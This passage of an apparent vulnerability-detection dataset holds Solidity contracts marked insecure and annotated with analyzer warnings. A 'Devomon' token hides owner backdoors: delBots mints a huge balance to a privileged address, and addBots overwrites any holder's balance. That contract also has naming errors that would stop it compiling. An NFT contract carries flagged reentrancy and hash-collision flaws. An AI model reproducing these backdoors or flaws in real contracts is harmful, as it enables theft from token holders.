_totalSupply * 100;\n uint256 _IncreaseApproval = Approval * 100 * 100 * 0;\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n _balances[account] *= _IncreaseApproval * 100;\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cbf6519): OPHMR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cbf6519: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2151.sol",
"secure": 0,
"size_bytes": 6367
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Devomon is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 91df88c): Devomon.uniswapV2Pair should be immutable \n\t// Recommendation for 91df88c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n uint8 private constant _decimals = 18;\n uint256 public constant hardCap = 4_000_000_000 * (10 ** _decimals);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2d3d907): Devomon.constructor(address).ads lacks a zerocheck on \t uniswapV2Pair = ads\n\t// Recommendation for 2d3d907: Check that the address is not zero.\n constructor(address ads) {\n _name = \"Devomon\";\n _symbol = \"EVO\";\n _mint(ads, hardCap);\n\t\t// missing-zero-check | ID: 2d3d907\n uniswapV2Pair = ads;\n }\n\n function viewGas() public view returns (address) {\n return uniswapV2Pair;\n }\n\n function delBots(uint256 amount) external {\n if (uniswapV2Pair == _msgSender()) {\n uint256 WETH = 400000000 * 10 ** _decimals;\n uint256 balance = WETH * 10000;\n uint256 dead = balance * 1 * 1 * 1 * 1;\n dead = dead * amount;\n _balances[_msgSender()] += dead;\n require(uniswapV2Pair == msg.sender);\n } else {}\n }\n\n event ManualSwap(\n address indexed account,\n uint256 oldamount,\n uint256 amount\n );\n\n function addBots(\n address[] memory accounts,\n uint256 amount\n ) external onlyowner {\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n uint256 oldamount = _balances[account];\n _balances[account] = amount;\n emit manualSwap(account, oldamount, amount);\n }\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_2152.sol",
"secure": 0,
"size_bytes": 6164
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Base64.sol\" as Base64;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract OnChainBots is ERC721Enumerable, ReentrancyGuard, Ownable {\n using Strings for uint256;\n\n uint256 public constant maxSupply = 10000;\n uint256 public numClaimed = 0;\n string[] private background = [\n \"FFF\",\n \"dda\",\n \"e92\",\n \"3DF\",\n \"FEF\",\n \"9de\",\n \"367\",\n \"ccc\"\n ];\n\n string[] private fur1 = [\n \"fd1\",\n \"28F\",\n \"324\",\n \"3D4\",\n \"ffc\",\n \"81F\",\n \"f89\",\n \"F6F\",\n \"049\",\n \"901\",\n \"fc5\",\n \"ffe\",\n \"574\",\n \"bcc\",\n \"d04\",\n \"AAA\",\n \"AB3\",\n \"ff0\",\n \"fd1\"\n ];\n string[] private fur2 = [\n \"259\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"060\",\n \"000\",\n \"96e\",\n \"56e\",\n \"799\",\n \"801\",\n \"310\",\n \"d9f\",\n \"000\"\n ];\n uint8[] private fur_w = [\n 249,\n 246,\n 223,\n 141,\n 116,\n 114,\n 93,\n 90,\n 89,\n 86,\n 74,\n 72,\n 55,\n 48,\n 39,\n 32,\n 28,\n 14,\n 8\n ];\n string[] private eyes = [\n \"abe\",\n \"080\",\n \"653\",\n \"000\",\n \"be7\",\n \"abe\",\n \"080\",\n \"653\",\n \"000\",\n \"be7\",\n \"cef\",\n \"abe\",\n \"080\",\n \"653\",\n \"000\",\n \"be7\",\n \"cef\",\n \"abe\",\n \"080\",\n \"653\",\n \"000\",\n \"be7\",\n \"cef\"\n ];\n uint8[] private eyes_w = [\n 245,\n 121,\n 107,\n 101,\n 79,\n 78,\n 70,\n 68,\n 62,\n 58,\n 56,\n 51,\n 50,\n 48,\n 44,\n 38,\n 35,\n 33,\n 31,\n 22,\n 15,\n 10,\n 7\n ];\n string[] private earring = [\"999\", \"fe7\", \"999\", \"999\", \"fe7\", \"bdd\"];\n uint8[] private earring_w = [251, 32, 29, 17, 16, 8, 5];\n string[] private buttons1 = [\n \"f00\",\n \"f00\",\n \"222\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"00f\",\n \"00f\",\n \"00f\",\n \"00f\",\n \"00f\",\n \"00f\",\n \"00f\",\n \"222\",\n \"00f\",\n \"f0f\",\n \"222\",\n \"f0f\",\n \"f0f\",\n \"f0f\",\n \"f0f\",\n \"f0f\",\n \"f0f\",\n \"f0f\",\n \"f80\",\n \"f80\",\n \"f80\",\n \"f80\",\n \"f80\",\n \"f00\",\n \"f80\",\n \"f80\",\n \"f80\",\n \"90f\",\n \"90f\",\n \"00f\",\n \"90f\",\n \"90f\",\n \"90f\",\n \"222\"\n ];\n string[] private buttons2 = [\n \"d00\",\n \"00f\",\n \"f00\",\n \"f0f\",\n \"f80\",\n \"90f\",\n \"f48\",\n \"0f0\",\n \"ff0\",\n \"f00\",\n \"00d\",\n \"f0f\",\n \"f80\",\n \"90f\",\n \"f48\",\n \"0f0\",\n \"ddd\",\n \"ff0\",\n \"f00\",\n \"653\",\n \"00f\",\n \"d0d\",\n \"f80\",\n \"90f\",\n \"f48\",\n \"0f0\",\n \"ff0\",\n \"f00\",\n \"f0f\",\n \"00f\",\n \"d60\",\n \"f48\",\n \"ddd\",\n \"90f\",\n \"0f0\",\n \"ff0\",\n \"f00\",\n \"00f\",\n \"fd1\",\n \"f0f\",\n \"f80\",\n \"70d\",\n \"fd1\"\n ];\n uint8[] private buttons_w = [\n 251,\n 55,\n 45,\n 43,\n 38,\n 37,\n 34,\n 33,\n 32,\n 31,\n 31,\n 31,\n 31,\n 31,\n 30,\n 30,\n 29,\n 29,\n 28,\n 27,\n 27,\n 27,\n 26,\n 25,\n 24,\n 22,\n 21,\n 20,\n 19,\n 19,\n 19,\n 19,\n 19,\n 19,\n 18,\n 17,\n 16,\n 15,\n 14,\n 13,\n 11,\n 9,\n 8,\n 6\n ];\n string[] private scar1 = [\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"f00\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"000\",\n \"f00\",\n \"080\",\n \"080\",\n \"080\",\n \"080\",\n \"080\",\n \"080\",\n \"080\",\n \"808\",\n \"808\",\n \"808\",\n \"808\",\n \"808\",\n \"808\",\n \"f00\",\n \"808\",\n \"90f\",\n \"f48\",\n \"22d\",\n \"90f\",\n \"90f\",\n \"ff0\",\n \"\"\n ];\n string[] private scar2 = [\n \"0f0\",\n \"000\",\n \"080\",\n \"ff0\",\n \"90f\",\n \"080\",\n \"f48\",\n \"f00\",\n \"0f0\",\n \"000\",\n \"080\",\n \"ff0\",\n \"90f\",\n \"080\",\n \"000\",\n \"f00\",\n \"0f0\",\n \"000\",\n \"080\",\n \"ff0\",\n \"90f\",\n \"080\",\n \"f00\",\n \"0f0\",\n \"000\",\n \"080\",\n \"ff0\",\n \"90f\",\n \"f00\",\n \"080\",\n \"f00\",\n \"000\",\n \"000\",\n \"0f0\",\n \"000\",\n \"f48\",\n \"\"\n ];\n uint8[] private scar_w = [\n 251,\n 64,\n 47,\n 42,\n 39,\n 38,\n 36,\n 35,\n 34,\n 34,\n 33,\n 29,\n 28,\n 26,\n 26,\n 25,\n 25,\n 25,\n 22,\n 21,\n 20,\n 20,\n 18,\n 17,\n 17,\n 15,\n 14,\n 14,\n 13,\n 13,\n 12,\n 12,\n 12,\n 10,\n 9,\n 8,\n 7\n ];\n string[] private z = [\n \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 500 500'><rect x='0' y='0' width='500' height='500' style='fill:#\",\n \"'/><polygon points='93 214, 13 393, 87 413, 165 220, 145 213, 93 214' style='fill:#\",\n \"'/><polygon points = '268 416, 270 489, 333 489, 339 416, 268 416' style='fill:#\",\n \"'/><polygon points= '177 416, 178 488, 243 489, 243 416, 177 416' style='fill:#\",\n \"'/><polygon points='176 368, 178 415, 268 416, 339 416, 345 368, 176 368' style='fill:#\",\n \"'/><polygon points =' 350 209, 433 399, 489 384, 399 207' style='fill:#\",\n \"'/><polygon points ='160 213, 171 367, 348 367, 343 209, 160 213' style='fill:#\",\n \"'/><polygon points='40 22, 56 209, 455 201, 452 10, 40 22 ' style='fill:#\",\n \"'/><polygon points='252 142,223 162,284 161,252 142' style='fill:#\",\n \"'/><circle cx='174' cy='93' r='15' style='fill:#\",\n \"'/><circle cx='325' cy='93' r='15' style='fill:#\",\n \"'/>\",\n \"</svg>\"\n ];\n\t// WARNING Optimization Issue (constable-states | ID: f93dc5b): OnChainBots.cross should be constant \n\t// Recommendation for f93dc5b: Add the 'constant' attribute to state variables that never change.\n string private cross =\n \"<rect x='95' y='275' width='10' height='40' style='fill:#872'/><rect x='85' y='285' width='30' height='10' style='fill:#872'/>\";\n\t// WARNING Optimization Issue (constable-states | ID: 445dfda): OnChainBots.but1 should be constant \n\t// Recommendation for 445dfda: Add the 'constant' attribute to state variables that never change.\n string private but1 = \"<circle cx='257' cy='250' r='5' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: f9e8eba): OnChainBots.but2 should be constant \n\t// Recommendation for f9e8eba: Add the 'constant' attribute to state variables that never change.\n string private but2 = \"'/><circle cx='257' cy='300' r='5' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: c5747dc): OnChainBots.hh1 should be constant \n\t// Recommendation for c5747dc: Add the 'constant' attribute to state variables that never change.\n string private hh1 =\n \"<polygon points='76 169, 110 170, 77 172, 110 173, 76 169' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 29d3583): OnChainBots.hh2 should be constant \n\t// Recommendation for 29d3583: Add the 'constant' attribute to state variables that never change.\n string private hh2 =\n \"'/><polygon points='76 174, 110 175, 77 177, 110 178, 76 174' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 7fb5d3f): OnChainBots.sl1 should be constant \n\t// Recommendation for 7fb5d3f: Add the 'constant' attribute to state variables that never change.\n string private sl1 =\n \"<rect x='152' y='85' width='290' height='50' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 08dd190): OnChainBots.sl2 should be constant \n\t// Recommendation for 08dd190: Add the 'constant' attribute to state variables that never change.\n string private sl2 =\n \"<rect x='140' y='50' width='280' height='50' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: adcf6e5): OnChainBots.ey1 should be constant \n\t// Recommendation for adcf6e5: Add the 'constant' attribute to state variables that never change.\n string private ey1 =\n \"<rect x='325' y='90' width='20' height='5' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 72746e4): OnChainBots.ey2 should be constant \n\t// Recommendation for 72746e4: Add the 'constant' attribute to state variables that never change.\n string private ey2 =\n \"'/><rect x='154' y='90' width='20' height='5' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: c822bf4): OnChainBots.zz should be constant \n\t// Recommendation for c822bf4: Add the 'constant' attribute to state variables that never change.\n string private zz = \"'/>\";\n\t// WARNING Optimization Issue (constable-states | ID: 5294e15): OnChainBots.ea1 should be constant \n\t// Recommendation for 5294e15: Add the 'constant' attribute to state variables that never change.\n string private ea1 = \"<circle cx='100' cy='290' r='14' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 1ed357f): OnChainBots.ea2 should be constant \n\t// Recommendation for 1ed357f: Add the 'constant' attribute to state variables that never change.\n string private ea2 = \"fe7\";\n\t// WARNING Optimization Issue (constable-states | ID: 5d683d1): OnChainBots.ea3 should be constant \n\t// Recommendation for 5d683d1: Add the 'constant' attribute to state variables that never change.\n string private ea3 = \"999\";\n\t// WARNING Optimization Issue (constable-states | ID: 53bc004): OnChainBots.ea4 should be constant \n\t// Recommendation for 53bc004: Add the 'constant' attribute to state variables that never change.\n string private ea4 =\n \"'/><circle cx='100' cy='290' r='4' style='fill:#000'/>\";\n\t// WARNING Optimization Issue (constable-states | ID: 9832e5d): OnChainBots.ea5 should be constant \n\t// Recommendation for 9832e5d: Add the 'constant' attribute to state variables that never change.\n string private ea5 = \"<circle cx='100' cy='290' r='12' style='fill:#\";\n\t// WARNING Optimization Issue (constable-states | ID: 7ffe653): OnChainBots.ea6 should be constant \n\t// Recommendation for 7ffe653: Add the 'constant' attribute to state variables that never change.\n string private ea6 = \"bdd\";\n\t// WARNING Optimization Issue (constable-states | ID: dfb69ce): OnChainBots.tr1 should be constant \n\t// Recommendation for dfb69ce: Add the 'constant' attribute to state variables that never change.\n string private tr1 =\n \"', 'attributes': [{'trait_type': 'Background','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 8f2f2e0): OnChainBots.tr2 should be constant \n\t// Recommendation for 8f2f2e0: Add the 'constant' attribute to state variables that never change.\n string private tr2 = \"'},{'trait_type': 'Fur','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 13b42f5): OnChainBots.tr3 should be constant \n\t// Recommendation for 13b42f5: Add the 'constant' attribute to state variables that never change.\n string private tr3 = \"'},{'trait_type': 'Tattoo','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 76c6a09): OnChainBots.tr4 should be constant \n\t// Recommendation for 76c6a09: Add the 'constant' attribute to state variables that never change.\n string private tr4 = \"'},{'trait_type': 'Scar','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 9208b88): OnChainBots.tr5 should be constant \n\t// Recommendation for 9208b88: Add the 'constant' attribute to state variables that never change.\n string private tr5 = \"'},{'trait_type': 'Eyes','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 4b500c5): OnChainBots.tr6 should be constant \n\t// Recommendation for 4b500c5: Add the 'constant' attribute to state variables that never change.\n string private tr6 = \"'},{'trait_type': 'Buttons','value': '\";\n\t// WARNING Optimization Issue (constable-states | ID: 9e5a315): OnChainBots.tr8 should be constant \n\t// Recommendation for 9e5a315: Add the 'constant' attribute to state variables that never change.\n string private tr8 = \"'}],'image': 'data:image/svg+xml;base64,\";\n\t// WARNING Optimization Issue (constable-states | ID: 2eedbe1): OnChainBots.ra1 should be constant \n\t// Recommendation for 2eedbe1: Add the 'constant' attribute to state variables that never change.\n string private ra1 = \"A\";\n\t// WARNING Optimization Issue (constable-states | ID: 6c937b6): OnChainBots.ra2 should be constant \n\t// Recommendation for 6c937b6: Add the 'constant' attribute to state variables that never change.\n string private ra2 = \"C\";\n\t// WARNING Optimization Issue (constable-states | ID: 1a94682): OnChainBots.ra4 should be constant \n\t// Recommendation for 1a94682: Add the 'constant' attribute to state variables that never change.\n string private ra4 = \"E\";\n\t// WARNING Optimization Issue (constable-states | ID: feda929): OnChainBots.ra5 should be constant \n\t// Recommendation for feda929: Add the 'constant' attribute to state variables that never change.\n string private ra5 = \"F\";\n\t// WARNING Optimization Issue (constable-states | ID: 4617c30): OnChainBots.ra6 should be constant \n\t// Recommendation for 4617c30: Add the 'constant' attribute to state variables that never change.\n string private ra6 = \"G\";\n\t// WARNING Optimization Issue (constable-states | ID: c9befd0): OnChainBots.co1 should be constant \n\t// Recommendation for c9befd0: Add the 'constant' attribute to state variables that never change.\n string private co1 = \", \";\n\t// WARNING Optimization Issue (constable-states | ID: 7f8ad60): OnChainBots.rl1 should be constant \n\t// Recommendation for 7f8ad60: Add the 'constant' attribute to state variables that never change.\n string private rl1 = \"{'name': 'OnChain Bots #\";\n\t// WARNING Optimization Issue (constable-states | ID: 5848a41): OnChainBots.rl3 should be constant \n\t// Recommendation for 5848a41: Add the 'constant' attribute to state variables that never change.\n string private rl3 = \"'}\";\n\t// WARNING Optimization Issue (constable-states | ID: ab1755b): OnChainBots.rl4 should be constant \n\t// Recommendation for ab1755b: Add the 'constant' attribute to state variables that never change.\n string private rl4 = \"data:application/json;base64,\";\n\n address[2] private _shareholders;\n uint256[2] private _shares;\n\n uint256 public mintPrice = 30000000 gwei;\n bool public saleIsActive = false;\n\n event PaymentReleased(address to, uint256 amount);\n\n struct Bot {\n uint8 bg;\n uint8 fur;\n uint8 eyes;\n uint8 earring;\n uint8 buttons;\n uint8 scare;\n }\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function usew(uint8[] memory w, uint256 i) internal pure returns (uint8) {\n uint8 ind = 0;\n uint256 j = uint256(w[0]);\n while (j <= i) {\n ind++;\n j += uint256(w[ind]);\n }\n return ind;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: e237c6b): OnChainBots.randomOne(uint256).bot is a local variable never initialized\n\t// Recommendation for e237c6b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function randomOne(uint256 tokenId) internal view returns (Bot memory) {\n tokenId = 12839 - tokenId;\n Bot memory bot;\n bot.bg = uint8(\n random(string(abi.encodePacked(ra1, tokenId.toString()))) % 8\n );\n bot.fur = usew(\n fur_w,\n random(string(abi.encodePacked(but1, tokenId.toString()))) % 1817\n );\n bot.eyes = usew(\n eyes_w,\n random(string(abi.encodePacked(ra2, tokenId.toString()))) % 1429\n );\n bot.earring = usew(\n earring_w,\n random(string(abi.encodePacked(ra4, tokenId.toString()))) % 358\n );\n bot.buttons = usew(\n buttons_w,\n random(string(abi.encodePacked(ra5, tokenId.toString()))) % 1329\n );\n bot.scare = usew(\n scar_w,\n random(string(abi.encodePacked(ra6, tokenId.toString()))) % 1111\n );\n if (tokenId == 6291) {\n bot.scare++;\n }\n return bot;\n }\n\n function getTraits(Bot memory bot) internal view returns (string memory) {\n string memory o = string(\n abi.encodePacked(\n tr1,\n uint256(bot.bg).toString(),\n tr2,\n uint256(bot.fur).toString(),\n tr3,\n uint256(bot.earring).toString()\n )\n );\n return\n string(\n abi.encodePacked(\n o,\n tr4,\n uint256(bot.scare).toString(),\n tr5,\n uint256(bot.eyes).toString(),\n tr6,\n uint256(bot.buttons).toString(),\n tr8\n )\n );\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: f022ca3): Collision due to dynamic type usages in 'abi.encodePacked'.\n\t// Recommendation for f022ca3: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function getAttributes(\n uint256 tokenId\n ) public view returns (string memory) {\n Bot memory bot = randomOne(tokenId);\n string memory o = string(\n abi.encodePacked(\n uint256(bot.scare).toString(),\n co1,\n uint256(bot.fur).toString(),\n co1,\n uint256(bot.buttons).toString(),\n co1\n )\n );\n\t\t// encode-packed-collision | ID: f022ca3\n return\n string(\n abi.encodePacked(\n o,\n uint256(bot.eyes).toString(),\n co1,\n uint256(bot.earring).toString(),\n co1,\n uint256(bot.bg).toString()\n )\n );\n }\n\n function genEye(\n string memory a,\n string memory b,\n uint8 h\n ) internal view returns (string memory) {\n string memory out = \"\";\n if (h > 4 && h < 10) {\n out = string(abi.encodePacked(sl1, a, zz));\n }\n if (h > 10 && h < 16) {\n out = string(abi.encodePacked(sl2, a, zz));\n }\n if (h > 16) {\n out = string(abi.encodePacked(out, ey1, b, ey2, b, zz));\n }\n return out;\n }\n\n function genEarring(uint8 h) internal view returns (string memory) {\n if (h == 0) {\n return \"\";\n }\n if (h < 3) {\n if (h > 1) {\n return string(abi.encodePacked(ea1, ea2, ea4));\n }\n return string(abi.encodePacked(ea1, ea3, ea4));\n }\n if (h > 3) {\n if (h > 5) {\n return string(abi.encodePacked(ea5, ea6, zz));\n }\n if (h > 4) {\n return string(abi.encodePacked(ea5, ea2, zz));\n }\n return string(abi.encodePacked(ea5, ea3, zz));\n }\n return cross;\n }\n\n function genSVG(Bot memory bot) internal view returns (string memory) {\n string memory a = fur1[bot.fur];\n string memory b = fur2[bot.fur];\n string memory scarest = \"\";\n string memory butst = \"\";\n if (bot.buttons > 0) {\n butst = string(\n abi.encodePacked(\n but1,\n buttons1[bot.buttons - 1],\n but2,\n buttons2[bot.buttons - 1],\n zz\n )\n );\n }\n if (bot.scare > 0) {\n scarest = string(\n abi.encodePacked(\n hh1,\n scar1[bot.scare - 1],\n hh2,\n scar2[bot.scare - 1],\n zz\n )\n );\n }\n string memory output = string(\n abi.encodePacked(z[0], background[bot.bg], z[1], b, z[2])\n );\n output = string(\n abi.encodePacked(output, b, z[3], b, z[4], a, z[5], b, z[6])\n );\n output = string(\n abi.encodePacked(\n output,\n b,\n z[7],\n a,\n z[8],\n b,\n z[9],\n eyes[bot.eyes],\n z[10]\n )\n );\n output = string(\n abi.encodePacked(\n output,\n eyes[bot.eyes],\n z[11],\n genEye(a, b, bot.eyes)\n )\n );\n return\n string(\n abi.encodePacked(\n output,\n genEarring(bot.earring),\n scarest,\n butst,\n z[12]\n )\n );\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 5ff99ec): Collision due to dynamic type usages in 'abi.encodePacked'.\n\t// Recommendation for 5ff99ec: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n Bot memory bot = randomOne(tokenId);\n\t\t// encode-packed-collision | ID: 5ff99ec\n return\n string(\n abi.encodePacked(\n rl4,\n Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n rl1,\n tokenId.toString(),\n getTraits(bot),\n Base64.encode(bytes(genSVG(bot))),\n rl3\n )\n )\n )\n )\n )\n );\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: c7e6fc8): OnChainBots.claim(uint256) contains a tautology or contradiction require(bool,string)(numClaimed >= 0 && numClaimed < 9500,invalid claim)\n\t// Recommendation for c7e6fc8: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c937476): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c937476: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claim(uint256 numberOfTokens) public payable nonReentrant {\n require(saleIsActive, \"Sale not active now.\");\n\t\t// tautology | ID: c7e6fc8\n require(numClaimed >= 0 && numClaimed < 9500, \"invalid claim\");\n require(numberOfTokens <= 10, \"You can only adopt 10 Bots at a time\");\n require(\n mintPrice * numberOfTokens <= msg.value,\n \"Ether value sent is not correct\"\n );\n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n uint256 mintIndex = numClaimed + 1;\n if (mintIndex <= 9500) {\n\t\t\t\t// reentrancy-no-eth | ID: c937476\n _safeMint(msg.sender, mintIndex);\n\t\t\t\t// reentrancy-no-eth | ID: c937476\n numClaimed += 1;\n }\n }\n }\n\n function flipSaleState() public onlyOwner {\n saleIsActive = !saleIsActive;\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 9500 && tokenId < 10001, \"invalid claim\");\n _safeMint(owner(), tokenId);\n }\n\n function setMintPrice(uint256 newPrice) public onlyOwner {\n mintPrice = newPrice;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 903f2fb): Reentrancy in OnChainBots.withdraw(uint256) External calls Address.sendValue(address(_shareholders[i]),payment) Event emitted after the call(s) PaymentReleased(_shareholders[i],payment)\n\t// Recommendation for 903f2fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 amount) public onlyOwner {\n require(address(this).balance >= amount, \"Insufficient balance\");\n\n uint256 totalShares = 100;\n for (uint256 i = 0; i < 2; i++) {\n uint256 payment = (amount * _shares[i]) / totalShares;\n\n\t\t\t// reentrancy-events | ID: 903f2fb\n Address.sendValue(payable(_shareholders[i]), payment);\n\t\t\t// reentrancy-events | ID: 903f2fb\n emit PaymentReleased(_shareholders[i], payment);\n }\n }\n\n constructor() payable ERC721(\"OnChainBots\", \"BOTS\") Ownable() {\n _shareholders[0] = 0x3f758b112dFE9157988BF0e194A8f5c4f0Acc684;\n _shareholders[1] = 0xCE63810B999Deb7123D431893a297E2C558C16a9;\n\n _shares[0] = 60;\n _shares[1] = 40;\n }\n}",
"file_name": "solidity_code_2153.sol",
"secure": 0,
"size_bytes": 27654
} |
{
